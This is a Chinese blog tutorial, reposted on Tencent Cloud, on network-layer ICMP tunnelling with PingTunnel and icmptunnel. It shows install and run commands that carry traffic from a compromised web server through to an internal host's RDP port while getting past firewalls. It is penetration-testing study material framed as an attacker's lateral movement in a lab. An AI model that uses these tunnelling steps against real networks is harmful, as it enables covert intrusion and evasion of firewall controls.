前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >内网转发及隐蔽隧道 | 网络层隧道技术之ICMP隧道(pingTunnel/IcmpTunnel)

内网转发及隐蔽隧道 | 网络层隧道技术之ICMP隧道(pingTunnel/IcmpTunnel)

作者头像
谢公子
发布2022-01-19 20:47:59
2.8K0
发布2022-01-19 20:47:59
举报
文章被收录于专栏:谢公子学安全谢公子学安全

网络层隧道技术之ICMP隧道(pingTunnel/IcmpTunnel)

目录

ICMP隧道

使用ICMP搭建隧道(PingTunnel)

使用ICMP搭建隧道(Icmptunnel)

ICMP隧道

ICMP隧道简单实用,是一个比较特殊的协议。在一般的通信协议里,如果两台设备要进行通信,肯定需要开放端口,而在ICMP协议下就不需要。最常见的ping命令就是利用的ICMP协议,攻击者可以利用命令行得到比回复更多的ICMP请求。在通常情况下,每个ping命令都有相应的回复与请求。

在一些网络环境中,如果攻击者使用各类上层隧道(例如:HTTP隧道、DNS隧道、常规正/反向端口转发等)进行的操作都失败了,常常会通过ping命令访问远程计算机,尝试建立ICMP隧道,将TCP/UDP数据封装到ICMP的ping数据包中,从而穿过防火墙(防火墙一般不会屏蔽ping的数据包),实现不受限制的访问访问。

使用ICMP搭建隧道(PingTunnel)

PingTunnel是一款常用的ICMP隧道工具,可以跨平台使用,为了避免隧道被滥用,还可以为隧道设置密码。

拓扑图如下:

192.168.10.X 模拟公网地址,Web服务器模拟企业对外提供Web服务的机器,该机器可以通内网,同时向公网提供服务。内网存在一台WIndows机器,Web服务器可以与该机器连接。现在我们获取到了Web服务器的权限,想用ICMP搭建通往内网的隧道,连接内网Windows的3389端口。

PingTunnel的安装

代码语言:javascript
复制
#安装libpcap的依赖环境
yum -y install byacc
yum -y install flex bison
 
#安装libpcap依赖库
wget http://www.tcpdump.org/release/libpcap-1.9.0.tar.gz
tar -xzvf libpcap-1.9.0.tar.gz
cd libpcap-1.9.0
./configure
make && make install
 
#安装PingTunnel
wget http://www.cs.uit.no/~daniels/PingTunnel/PingTunnel-0.72.tar.gz
tar -xzvf PingTunnel-0.72.tar.gz
cd PingTunnel
make && make install

在Web服务器的操作

代码语言:javascript
复制
ptunnel -x shuteer     #-x 指定连接密码

VPS的操作

代码语言:javascript
复制
ptunnel -p 192.168.10.129 -lp 1080 -da 10.10.10.10 -dp 3389 -x shuteer
    -p 指定ICMP隧道另一端的IP
    -lp:指定本地监听的端口
    -da:指定要转发的目标机器的IP
    -dp:指定要转发的目标机器的端口
    -x:指定连接密码

然后我们只需要远程连接192.168.10.129的1080端口就相当于连接了10.10.10.10的3389端口了。

使用ICMP搭建隧道(Icmptunnel)

适用场景:目标机器是Linux服务器的情况

  • 攻击机:Redhat7 192.1.68.10.20
  • 靶机:Centos7 192.168.10.13

ICMP隧道是指将TCP连接通过ICMP包进行隧道传送的一种方法。

icmptunnel是一个将IP流量封装到 ICMP echo请求和回复(ping)包中的隧道工具,是在允许 ping 的网络中进行拓展、绕过防火墙的一种半隐蔽方式。虽然ICMP echo流量在网络边界通常会被过滤,但这种方法仍然可能对从企业内网出连到互联网的技术有一定帮助。

icmptunnel的安装

分别在服务端和客户端安装 icmptunnel,安装过程如下

代码语言:javascript
复制
git clone https://github.com/jamesbarlow/icmptunnel.git
make

服务端的操作:

代码语言:javascript
复制
echo 1 > /proc/sys/net/ipv4/icmp_echo_ignore_all      #禁用icmp回复
./icmptunnel -s                                       #监听
重新打开一个命令行窗口
ifconfig tun0 10.0.0.1 netmask 255.255.255.0          #添加tun0网卡,分配隧道地址10.0.0.1/24

客户端的操作:

代码语言:javascript
复制
echo 1 > /proc/sys/net/ipv4/icmp_echo_ignore_all      #禁用icmp回复
./icmptunnel 192.168.10.20                            #连接服务端
重新打开一个命令行窗口
ifconfig tun0 10.0.0.2 netmask 255.255.255.0          #添加tun0网卡,分配隧道地址10.0.0.2/24

至此,客户端和服务端已经打通了一条ICMP隧道。

接下来,在客户端和服务端分别用隧道的ip地址进行SSH连接。

责编:Vivian

来源:谢公子博客

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2020-05-25,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 谢公子学安全 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档